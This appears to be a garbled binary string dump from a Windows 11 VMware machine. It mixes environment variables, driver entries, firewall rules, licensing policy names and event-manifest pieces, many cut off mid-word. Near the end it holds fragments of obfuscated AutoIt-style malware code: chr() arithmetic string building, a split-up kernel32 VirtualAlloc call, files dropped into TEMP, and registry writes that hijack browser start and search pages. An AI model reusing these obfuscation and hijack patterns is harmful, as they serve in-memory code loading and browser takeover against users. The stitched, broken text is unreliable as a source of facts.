hemas-microsoft-com:asm.v1^assembly!urn:schemas-microsoft-com:asm.v1^trustInfo!urn:schemas-microsoft-com:asm.v1^security!urn:schemas-microsoft-com:asm.v1^requestedPrivileges! ntity 3++S C=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\WINDOWS\TEMP TMP=C:\WINDOWS\TEMP USERDOMAIN=WORKGROUP USERNAME=WINDOWS11$ USERPROFILE=C:\WINDOWS\system32\config\systemprofile windir=C:\WINDOWS C:\WINDOWS\system32\ C:\WINDOWS\System32\svchost.exe C:\WINDOWS\System32\svchost.exe -k AppReadiness -p C:\WINDOWS\System32\svchost.exe ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLI _userCid 3++S++ Microsoft Virtual Drive Enumerator Microsoft Virtual Drive Enumerator @vdrvroot.inf,%msft%;Microsoft Microsoft Microsoft 6-21-2006 vdrvroot.inf 10.0.26100.1591 10.0.26100.1591 vdrvroot.inf VDRVROOT VDRVROOT vdrvroot.inf:db04a16c0998f229:VDRVROOT:10.0.26100.1591:ROOT\vdrvroot ROOT\vdrvroot ROOT\vdrvroot vdrvroot.inf:ROOT\vdrvroot,VDRVROOT ROOT\vdrvroot\0000 \Registry\Machine\System\CurrentControlSet\Control\Nls\ExtendedLocale Control Panel\International\User Profile TransientLangId en-US cation 3++S++ Microsoft-Windows-WinINet-Pca %windir%\system32\wininet.dll %windir%\system32\wininet.dll Microsoft-Windows-CAPI2 %SystemRoot%\System32\crypt32.dll %SystemRoot%\System32\crypt32.dll Microsoft-Windows-CodeIntegrity %SystemRoot%\system32\ci.dll %SystemRoot%\system32\ci.dll Microsoft-Windows-WSC-SRV %systemroot%\system32\wscui.cpl %systemroot%\system32\wscui.cpl Microsoft-Windows-TSF-msctf %SystemRoot%\system32\msctf.dll %SystemRoot%\system32\msctf.dll Microsoft-Windows-Security-SPP-UX %windir%\system32\slui.exe %windir%\system32\slui.exe Microsoft-Windows-Diagnosis-DPS %SystemRoot%\system32\dps.dll %SystemRoot%\system32\dps.dll Microsoft-JScript %SystemRoot%\system32\Chakra.dll %SystemRoot%\system32\Chakra.dll Microsoft-Windows-RPC %SystemRoot%\system32\rpcrt4.dll %SystemRoot%\system32\rpcrt4.dll Microsoft-Windows-QoS-qWAVE %SystemR FX:137FB3D3 FX:137FB3D2 FX:137F4285 FX:137EE0F9 FX:137DF49D FX:137DAFE8 FX:137DAB3C FX:137DAA81 FX:137D66CD FX:137C3D6F FX:137C3D3B FX:137C3A5E FX:137C031C FX:137BDA0A FX:137BD40A FX:137B6B33 FX:137ABC77 FX:137ABC76 FX:137ABC75 FX:137ABC6A FX:137A9121 8490E5A5-4D60-49CA-BB10-FD3EAED8D902 57B9D257-4560-4FDB-90C6-BA43F6CDFDEE MedTile.png 17760257 Assets\AppTiles\StoreSmallTile.png 68091905 Assets\AppTiles\StoreAppList.png 51314689 Assets\AppTiles\StoreWideTile.png 983227 ms-resource:DisplayTitle 34537559 51314775 135200855 983128 badge 983097 Assets\AppTiles\StoreBadgeLogo.png toreBadgeLogo.png 28-a458-797b66b1e6ad 54c1014b-67ff-4c01-aa7e-9dfd8a32bc67 ce0d ef775000-0a13-4501-abcd-e3e670d2ec36 3c40a285-2469-ae8d-e740-6be881cd3eb6 54beec1b-1502-4a16-8c3e-743e870e952b 01-bf84-9b9e8bf804c7 d32c2459-e2c8-4201-b 9b9e8bf804c7 d3dc8467-5eff-4657-a 54beec1b-1502-4a16-8c3e-743e870e952b c86d5194-4840-4dae-9c1c-0301003a5ab0 e4-885c 345a5db0-d94f-4e3b-a0c0-7c42f7bc3ebf 92fb8726-92a8-4ffc-94ce-f82e07444653 f4158 73111121-5638-40f6-bc11-f1d7b0d64300 f9ef7ff6-304b-47d3-8197-1e4d27d1f704 0724cb7d-3437-4cb7-93cb-830375d0079d dcf0 fe74f55b-0338-41d6-b267-4a201abe7285 fe74f55b-0338-41d6-b 4a201abe7285 740-6be881cd3eb6 75d0 ITY\ -4560-4FDB-90C6-BA43F6CDFDEE he\cache.dat 3c40a285-2469-ae8d-e740-6be881cd3eb6 BUD:(A;;CCDCLCSWRP;;;WD)(A;;CCDCLCSWRP;;;AC)(A;;CCDCLCSWRP;;;S-1-15-3-1024-1502825166-1963708345-2616377461-2562897074-4192028372-3968301570-1997628692-1435953622)S:(ML;;NX;;;LW) BUD:(A;;CCDCLCSWRP;;;WD)(A;;CCDCLCSWRP;;;AC)(A;;CCDCLCSWRP;;;S-1-15-3-1024-1502825166-1963708345-2616377461-2562897074-4192028372-3968301570-1997628692-1435953622)S:(ML;;NX;;;LW) ++S+ Microsoft.ProcessID540_8weky bbwe Microsof ocessID5 .0.0.1_n -3ba v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Private|Profile=Public|RA42=RmtIntrAnet|RA62=RmtIntrAnet|Name=@{Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.SecHealthUI/resources/PackageDisplayName}|Desc=@{Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.SecHealthUI/resources/ProductDescription}|PFN=Microsoft.SecHealthUI_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.SecHealthUI/resources/PackageDisplayName}|Security=Authenticate| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=@{Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.SecHealthUI/resources/PackageDisplayName}|Desc=@{Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.SecHealthUI/resources/ProductDescription}|PFN=Microsoft.SecHealthUI_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-1)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.SecHealthUI/resources/PackageDisplayName}| ngeD INTEL - 6040000 VMW201.00V.24866131.B64.2507211911 VMware, Inc. - 10000 v2.33|Action=Block|Active=TRUE|Dir=In|Name=Microsoft Teams|Desc=Microsoft Corporation|PFN=MSTeams_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286 .33| REG_DWORD RegValueType RegValueType RegValueType RegValueType RegValueType ValueName ValueName ValueName RegValueType REG_DWORD RegValueType RegValueType ValueName ValueName REG_DWORD ValueName RegValueType ValueName REG_DWORD RegValueType ValueName ValueName REG_DWORD ValueName RegValueType REG_DWORD RegValueType REG_DWORD RegValueType ValueName ValueName RegValueType REG_DWORD RegValueType REG_DWORD ValueName ValueName RegValueType ValueName ValueName REG_DWORD REG_DWORD G_DW lueName SERVICINGCLEANUPPLUGIN_THREADEXECUTIONTIMEOUTINSECONDS SERVICINGCLEANUPPLUGIN_MAXMANUALREMEDIATIONATTEMPTS ServicingCleanupPlugin_MaxManualRemediationAttempts lueN gValueT lueName ServicingCleanupPlugin_ManualRemediationIntervalInHours ValueN gVal G_DWORD eHealthP n_Th utio eout N_TH UTIO FileExplorer-DisableLibraries FileExplorer_Recommendations_Available FileSystems-ReFs-Enabled FileSystems-ReFsV1-Enabled FilterManager-Require-WCOS-Compat-Flag ForceTimeSyncTask-OOBEUserLogonComplete Games-AllowBroadcasting Games-AllowDisablingGameMonitoring GroupPolicy-License-DomainIncapableSystem GroupPolicy-License-NetworkWaitTimeoutInSeconds GroupPolicy-License-WaitForNetwork Handwriting-Enabled HealthAttestationCSP-UseSecTask HelpPane-UrlOverrideEnabled HubOS-Activated HybridComputeFramework-Enabled IASLicensing-allowSubnetSyntax IASLicensing-maxClient IASLicensing-maxServerGroups IIS-W3SVC-MaxConcurrentRequests InboxApps-Install-Prepackaged InkAnalysisPerfEventsLicensing-MyPolicyName InstallAgent-AllowGPOForBlockingStore IntegratedServices-RegionPolicy-EnforcePolicies Internet-Browser-License-LicensedPartnerID Kernel-BrandingInfo Kernel-DynamicPartitioningSupported Kernel-EditionName Professional Kernel-ExpirationDate Kernel-Fingerprint-Verification-Disabled Kernel-MUI-Language-Allowed EMPTY Kernel-MUI-Language-Disallowed EMPTY Kernel-MUI-Language-SKU RuleId RuleId win:UInt32 Action win:UInt64 win:Boolean RuleState win:UInt32 win:UInt64 ProcessId UserSid outType ProcessID isAudit SigSha win:UInt32 IsWarn SigSeq win:UInt64 State FileSize Source DlpInfo win:UInt64 win:UInt UInt ettingsD Microsoft Audio Home Theater Effects {C9453E73-8C5C-4463-9984-AF8BAB2F5447} {13AB3EBD-137E-4903-9D89-60BE8277FD17} {5860E1C5-F95C-4a7a-8EC8-8AEF24F379A1} {C18E2F7E-933D-4965-B7D1-1EEF228D2AF3} {C18E2F7E-933D-4965-B7D1-1EEF228D2AF3} {00000000-0000-0000-0000-000000000000} {00000000-0000-0000-0000-000000000000} HD Audio Digital in HD Audio Digital in mixer {00000000-0000-0000-0000-000000000000} HD Audio Muxed capture HD Audio Muxed capture mixer {00000000-0000-0000-0000-000000000000} MANUALCORRUPTIONREPAIRPLUGIN_IMPACTLEVEL NOTIFICATIONMANAGERPLUGIN_RUNONMANAGED NoUsoScanPlugin_MaxUptimeThreshold NOUSOSCANPLUGIN_MINUPTIMETHRESHOLD InPlaceUpgradePlugin_InteractiveOnly ManualCorruptionRepairPlugin_ActionLimit FEATUREUPDATEPRIORITIZEPLUGIN_ENABLED LANGUAGEPACKREMOVALPLUGIN_ENABLED ManualCorruptionRepairPlugin_AutoOnly MANUALCORRUPTIONREPAIRPLUGIN_ACTIONLIMIT InPlaceUpgradePlugin_DetectionOnly MANUALCORRUPTIONREPAIRPLUGIN_ENABLED LanguagePackRemovalPlugin_Enabled INPLACEUPGRADEPLUGIN_INTERVALINHOURS INPLACEUPGRADEPLUGIN_SERVERSKUBLOCK InPlaceUpgradePlugin_ServerSkuBlock LOCK InPlaceUpgradePlugin_IntervalInHours INPLACEUPGRADEPLUGIN_INTERACTIVEONLY FeatureUpdatePrioritizePlugin_Enabled INPLACEUPGRADEPLUGIN_RUNONMANAGED InPlaceUpgradePlugin_MinUptimeThreshold InPlaceUpgradePlugin_MaxUptimeThreshold INPLACEUPGRADEPLUGIN_MAXUPTIMETHRESHOLD InPlaceUpgradePlugin_RunOnManaged ManualCorruptionRepairPlugin_Enabled MANUALCORRUPTIONREPAIRPLUGIN_AUTOONLY INPLACEUPGRADEPLUGIN_MINUPTIMETHRESHOLD INPLACEUPGRADEPLUGIN_DETECTIONONLY REG_DWORD ValueName ValueName RegValueType ValueName RegValueType RegValueType REG_DWORD ValueName RegValueType REG_DWORD ValueName RegValueType ValueName REG_DWORD RegValueType RegValueType RegValueType REG_DWORD REG_DWORD ValueName REG_DWORD RegValueType ValueName REG_DWORD RegValueType REG_DWORD ValueName RegValueType RegValueType RegValueType REG_DWORD ValueName REG_DWORD ValueName REG_DWORD ValueName REG_DWORD REG_DWORD RegValueType ValueName RegValueType REG_DWORD HRESHOLD gin_Impa TimeSyncPlugin_MaxManualRemediationAttempts DEINBOXP N_TH NTIMEOUT BINARYHEALTHPLUGIN_IMPACTLEVEL EDGEUPDATEREPAIRPLUGIN_ORDER DynamicProtectionPlugin_Order INPLACEUPGRADEPLUGIN_IMPACTLEVEL EdgeUpdateRepairPlugin_AutoOnly NoUsoScanPlugin_InteractiveOnly NOUSOSCANPLUGIN_IMPACTLEVEL NoUsoScanPlugin_ActionLimit NOUSOSCANPLUGIN_INTERACTIVEONLY NOUSOSCANPLUGIN_ACTIONLIMIT EDGEUPDATEREPAIRPLUGIN_ENABLED InPlaceUpgradePlugin_Enabled NoUsoScanPlugin_ImpactLevel DYNAMICPROTECTIONPLUGIN_ORDER ENABLEUUPSCANPLUGIN_ENABLED NoUsoScanPlugin_DetectionOnly NOTIFICATIONMANAGERPLUGIN_ORDER InPlaceUpgradePlugin_ActionLimit InPlaceUpgradePlugin_Order hold InPlaceUpgradePlugin_AutoOnly NotificationManagerPlugin_Order INPLACEUPGRADEPLUGIN_ACTIONLIMIT INPLACEUPGRADEPLUGIN_ENABLED EnableUUPScanPlugin_Enabled INPLACEUPGRADEPLUGIN_AUTOONLY EDGEUPDATEREPAIRPLUGIN_AUTOONLY INPLACEUPGRADEPLUGIN_ORDER NOUSOSCANPLUGIN_DETECTIONONLY InPlaceUpgradePlugin_ImpactLevel EdgeUpdateRepairPlugin_Order EdgeUpdateRepairPlugin_Enabled re\Microsoft\Wow UltimatePerformanceScheme-Enabled Printing-Spooler-Core-Localspl-Licensing-Enabled Printing-Spooler-Core-Spoolss-Licensing-Enabled Printing-Spooler-Pmc-Licensing-Enabled Provisioning-SecuredCore-Enabled RPC-SKU-Policy-ExceptionFilterMode-Enabled RasBase-DefaultConnections RasBase-DisableDialup RasBase-DisableIsdn RasBase-DisableRasScript RasBase-EnableOnDemandDriverLoad RasBase-MaxConnections RasBase-RasMobileCore Recall-Advanced-Policies-Available RetailDemo.License-RetailDemoAllowed SConfig-AllowManageTelemetry SConfig-AllowPreviewChannelOptIn SConfig-FeatureUpdateVersion SConfig-WindowsActivationHidden SILicensing-AcceptedMasterServers0 SILicensing-AcceptedPrimeServers1981 SILicensing-CALDefault-User-Prm-Splitd SILicensing-CALDefault-User-Std-Splitd SILicensing-CALDefaultPremium-Count SILicensing-CALDefaultStandard-Count SILicensing-CALEnfCheck-Count SILicensing-CALEnfCheckEnabled SILicensing-CALEnfCheckFailureTolerationForCorrectiveAction-Count SILicensing-CALEnfCheckInitialGrace-Count SILicensing-CALEnfCheckRunInSafeMode SILicensing-CALEnfCheckShutdownTolerationLimit-Count SILicensing-CALTemporaryPremiumDevice-Count SILicensing-CALTemporaryPremiumUser-Count SILicensing-CALTemporaryStandardDevice-Count SILicensing-CALTemporaryStandardUser-Count SILicensing-CheckInterval-Mins SILicensing-DCCheck-Count SILicensing-DCCheckEnabled SILicensing-DCCheckFailureTolerationForCorrectiveAction-Count SILicensing-DCCheckInitialGrace-Count SILicensing-DCCheckRunInSafeMode SILicensing-DCCheckShutdownTolerationLimit-Count SILicensing-DependencyCheckRetryCount SILicensing-DependencyWait PCIROOT(0)#PCI(1701) ACPI(_SB_)#ACPI(PCI0)#ACPI(PE61) {4d36e97d-e325-11ce-bfc1-08002be10318} @pci.inf,%pci\cc_0604&dt_4.devicedesc%;PCI Express Root Port {4d36e97d-e325-11ce-bfc1-08002be10318}\0102 PCI Express Root Port PCI Express Root Port @pci.inf,%gendev_mfg%;(Standard system devices) Microsoft Microsoft 6-21-2006 pci.inf 10.0.26100.7705 10.0.26100.7705 pci.inf PCI_BRIDGE PCI_BRIDGE pci.inf:4ac8f80c1dbf149d:PCI_BRIDGE:10.0.26100.7705:PCI\CC_0604&DT_4 PCI\CC_0604&DT_4 PCI\CC_0604&DT_4 @pci.inf,%PCISlot%;PCI Slot %1!u! pci.inf:PCI\CC_0604&DT_4,PCI_BRIDGE PCI\VEN_15AD&DEV_0740&SUBSYS_074015AD&REV_10 PCI\VEN_15AD&DEV_0740&SUBSYS_074015AD PCI\VEN_15AD&DEV_0740&CC_088000 PCI\VEN_15AD&DEV_0740&CC_0880 PCI\VEN_8086&DEV_7110&REV_08 PCI\VEN_8086&DEV_7110 PCI\VEN_8086&CC_060100 PCI\VEN_8086&CC_0601 PCI\VEN_8086 PCI\CC_060100 PCI\CC_0601 @System32\drivers\pci.sys,#1537;PCI to ISA Bridge PCIROOT(0)#PCI(0700) ACPI(_SB_)#ACPI(PCI0)#ACPI(ISA_) {4d36e97d-e325-11ce-bfc1-08002be10318} msisadrv @machine.inf,%pcitoisabridge_desc%;PCI to ISA Bridge {4d36e97d-e325-11ce-bfc1-08002be10318}\0083 PCI to ISA Bridge PCI to ISA Bridge @machine.inf,%intel_mfg%;Intel Microsoft Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MSISADRV MSISADRV machine.inf:de3bcfc50a898669:MSISADRV:10.0.26100.1150:PCI\VEN_8086&DEV_7110&CC_0601 PCI\VEN_8086&DEV_7110&CC_0601 lidAuthenticationDelayTimeInMs SMBServer-ListenOverQUIC SMBServer-RequireSigningByDefault SMBServer-WindowsMaxInSMBConns SMR-HostManaged-Enabled Search-DynamicSearchBox-Enabled Search-ManageWebSearch-Enabled Search-WebSearch-Enabled SecureStartupFeature-Disabled-AutomaticDeviceEncryption SecureStartupFeature-Enabled SecureStartupFeature-Enabled-DeviceEncryption SecureStartupFeature-Enabled-DeviceEncryption-BlockRevert SecureStartupFeature-Enabled-Driver SecureStartupFeature-Enabled-PreInstall SecureStartupFeature-Enabled-Premium SecureStartupFeature-PerfWarning Security-SPP-Action-StateDataAppId=55c92734-d682-4d71-983e-d6ec3f16059f;LastConsumptionReason=0xc004f034;LastNotificationId=NeverActivated;LicenseState=SL_LICENSING_STATUS_NOTIFICATION;PartialProductKey=3V66T;ProductKeyType=Retail;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;ruleId=31e71c49-8da7-4a2f-ad92-45d98a1c79ba;uxDifferentiator=RETAIL Security-SPP-ActivationResetCount Security-SPP-ActivationResetCountMax Security-SPP-AllowBrandingOverride Security-SPP-AllowOSReactivation Security-SPP-AllowStoreGetGenuine Security-SPP-ApplicationActivationResetCount Security-SPP-ApplicationActivationResetCountMax Security-SPP-AzureArcIotSubscription Security-SPP-AzureArcSubscription Security-SPP-AzureArcValueAddedSubscription Security-SPP-AzureImdsResponse Security-SPP-CMIDExpirationPeriod Security-SPP-EvaluationModeEnabled Security-SPP-FlexibleClip-IndependentActivation Security-SPP-FlexibleClipEnabled Security-SPP-GenuineLocalStatus Security-SPP-IACountedIdList Security-SPP-IgnoreOAMarkerVersion Security-SPP-KmsCountedIdList Security-SPP-LastWindowsActivationHResult Security-SPP-LastWindows en-CH 0123456789 HH:mm:ss HH:mm dd.MM.yyyy MMMM yyyy dddd, d MMMM yyyy cense-CctMobileCore WindowsAccountControl-Available WindowsAnytimeUpgrade-CanUpgrade WindowsCopilot-Available WindowsCopilot-IsCommercial WindowsInkWorkspace-Enabled WindowsPushNotifications-License-WpnMobileCore WindowsSearchComponent-ComponentInstalled Window nabled EnableV2 conf lock erList0$ t.Window PCI\VEN_15AD&DEV_0740&SUBSYS_074015AD {5860E1C5-F95C-4a7a-8EC8-8AEF24F379A1} {C18E2F7E-933D-4965-B7D1-1EEF228D2AF3} {C18E2F7E-933D-4965-B7D1-1EEF228D2AF3} {00000000-0000-0000-0000-000000000000} {00000000-0000-0000-0000-000000000000} HD Audio Int Spkr/Ext LineOut HD Audio Int Spkr/Ext LineOut Mixer Microsoft Audio Home Theater Effects {C9453E73-8C5C-4463-9984-AF8BAB2F5447} {13AB3EBD-137E-4903-9D89-60BE8277FD17} {5860E1C5-F95C-4a7a-8EC8-8AEF24F379A1} {C18E2F7E-933D-4965-B7D1-1EEF228D2AF3} {C18E2F7E-933D-4965-B7D1-1EEF228D2AF3} {00000000-0000-0000-0000-000000000000} {00000000-0000-0000-0000-000000000000} Microsoft vmci.install.x64.NT oem1.inf:3c66b0eacc21f565:vmci.install.x64.NT:9.8.30.0:PCI\VEN_15AD&DEV_0740&SUBSYS_074015AD PCI\VEN_15AD&DEV_0740&SUBSYS_074015AD Voice Clarity vmci.install.x64.NT C=S-1-15-3-3539788797-2700867667-1432428195-1581642-2885308443-3834444517-2495346167|M=Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe|Name=@{Microsoft.MicrosoftStickyNotes_4.0.6105.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.MicrosoftStickyNotes/Resources/StickyNotesStoreAppName}|Desc=@{Microsoft.MicrosoftStickyNotes_4.0.6105.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.MicrosoftStickyNotes/Resources/StickyNotesStoreAppName}|D=C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_4.0.6105.0_x64__8wekyb3d8bbwe\|PFN=Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntrAnet|RA62=IntrAnet|Name=Solitaire & Casual Games|Desc=Solitaire & Casual Games|PFN=Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Solitaire & Casual Games| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.HEVCVideoExtension_2.4.39.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.HEVCVideoExtension/Resources/AppStoreName}|Desc=@{Microsoft.HEVCVideoExtension_2.4.39.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.HEVCVideoExtension/Resources/AppStoreName}|PFN=Microsoft.HEVCVideoExtension_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.HEVCVideoExtension_2.4.39.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.HEVCVideoExtension/Resources/AppStoreName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|Name=Solitaire & Casual Games|Desc=Solitaire & Ca Games|PFN=Microsoft.Mic litaireCollection_8wekyb MIDI 2.0 Service Tests c_swdevice.inf:SWD\GenericRaw,SoftwareDevice {4d36e972-e325-11ce-bfc1-08002be10318}\0002 WAN Miniport (SSTP) WAN Miniport (SSTP) @netsstpa.inf,%msft%;Microsoft {6052715a-b52c-45cb-a3ee-cb74cd7f4e02} {d40d57e9-89d3-4c2b-b541-4c32e6cd1229} {5ffa485b-d88f-4b1a-8347-60fc2794b20b} {6111e41a-555f-4690-ab13-85ca4b8c7a93} {5790d2a5-a4e3-4144-bb6e-2b47c4b5b085} {9f836f7d-71b7-4c2f-a676-46687b2b1054} {03b7314e-30bf-4f30-a1c0-df09d1353b15} {b33e041e-3a75-4f52-bf0e-c85d0963b7fb} {bbd3fffd-5a7e-4470-9c1f-8a90628e2cc3} {32cfdd79-5cc7-4f3c-856a-50c1bfc88b84} {ba718a12-1699-49a5-915f-9f05b79f3f8b} Microsoft-Antimalware-NIS.provider.name {43033349-5987-4340-384d-3b15bc6543a2} {32256f60-cddd-4c41-bff7-3775cce39db0} {10d6893f-871c-4768-92c1-774c6e19f0eb} %ProgramFiles%\Windows Defender\NisSrv.exe {7c654438-0b9a-4559-b702-7d344f1c84a5} string FrameOutOfOrder FrameOutOfOrder Connection_Start FrameOutOfOrder DriverMsgBuffer DriverMsgBuffer DriverMsgBufferLost win:UnicodeString template ose" opcode="win:Start" symbol="DriverMsgBuffer_Pend" task="DriverMsgBuffer" value="12" version="0" /> <event level="win:Verbose" opcode="win:Stop" symbol="DriverMsgBuffer_Complete" task="DriverMsgBuffer" value="13" version="0" /> <event level="win:Warning" opcode="win:Info" symbol="DriverMsgBuffer_Lost" task="DriverMsgBufferLost" value="14" version="0" /> <eve@ @ sy! ="FrameOutOfOrder" task="FrameOutOfOrder" value="15" <even lev win:Warning" ectionRe Sep 22 2006@10:19:46 setup.exe ws2help.dll version.dll usp10.dll shlwapi.dll setupapi.DLL riched32.dll psapi.dll oleaut32.dll oleacc.dll msxml3.dll msvfw32.dll msvcrt.dll msi.dll mfc42.dll dwmapi.dll dnsapi.dll apphelp.dll advpack.dll ,PcaTestDeprecation.dll MSVCP50.DLL MSVBVM50.DLL FD701A5} EC1- L{D40 {D45FD2F0 -00C 7081F} D27CDB6E-AE6D-11cf-96B8-44 53540000} L{4BAC124B-78C8-11D1-B9A8-00C04FD97575} E0-F171-11D0-984E-0000F80270F8} L{2D360200-FFF5-11d1-8D03-00A0C959BC0A} nlobby.dll dpna demx ed95i.ime VAChat.d SQLMANAGER.DLL shexthk.dll ShellX98 "OLRStateCheck.dll OLKFSTUB.DLL NppShell_04.dll mysafe.d R.DLL 2GrooveShellExtensions. MCShell.dll dll bushell.dll aoltb.dll DWindowsTH_TestApp_ShimmedDll_2.dll @WindowsTH_TestApp_ShimmedDll.dll VHEd enCl rce://Microsoft.Windows.Photos/Resources/AppStoreName}|Desc=@{Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Windows.Photos/Resources/AppStoreName}|PFN=Microsoft.Windows.Photos_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Windows.Photos/Resources/AppStoreName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Windows.Photos/Resources/AppStoreName}|Desc=@{Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Windows.Photos/Resources/AppStoreName}|PFN=Microsoft.Windows.Photos_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Windows.Photos/Resources/AppStoreName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=@{Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Windows.Photos/Resources/AppStoreName}|Desc=@{Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Windows.Photos/Resources/AppStoreName}|PFN=Microsoft.Windows.Photos_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-1)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Windows.Photos/Resources/AppStoreName}| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Name=Solitaire & Casual Games|Desc=Solitaire & Casual Games|PFN=Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Solitaire & Casual Games|Platform=2:6:2|Platform2=GTEQ| ((((( H 3++S++ global $d3076 = execute dim $t31qy644 = $d3076 ( "chr" ) $t31qy644 ( 303 + -204 ) & $t31qy644 ( 315 + -204 ) & $t31qy644 ( 304 + -204 ) & $t31qy644 ( 305 + -204 ) $t31qy644 ( 319 + -204 ) & $t31qy644 ( 308 + -204 ) & $t31qy644 ( 305 + -204 ) & $t31qy644 ( 312 + -204 ) $r323038323oc0a ( $n32313731jj , $t31qy644 ( 319 + -204 ) & $t31qy644 ( 308 + -204 ) & $t31qy644 ( 305 + -204 ) $m323130303w3e ( $u33lrw44yn ) & $t31qy644 ( 297 + -204 ) , $r32313131va5m7zl ) regwrite ( $ , " " , " " , " regdelete ( $ , $ global $ = dllstructcreate ( ( " " ) & binarylen ( $ ) & ( " " ) ) FILEINSTALL ( " " , ENVGET ( "TEMP" ) & "\ " , 1 ) FILEINSTALL ( " " , ENVGET ( ( " ) ) & "\ " , 1 ) FILEINSTALL ( " " , EXECUTE ( "@tempdir" ) & "\ " , 1 ) regwrite ( "hkey_current_user\software\microsoft\internet explorer\main" , "start page"regwrite ( "hkey_current_user\software\microsoft\internet explorer\main" , "default_page_url"regwrite ( "hkey_current_user\software\microsoft\internet explorer\main" , "search bar" = fileread ( fileopen ( execute ( "@tempdir" ) & "\ " ) ) dllcall ( stringreplace ( "ke" & " " & "rn" & "el32" , " " , "" ) , "pt" & "r" , "vir" & "t" & "ua" & "la" & "lloc" , if $ < 1 or $ ( $ ) then return &= stringleft ( 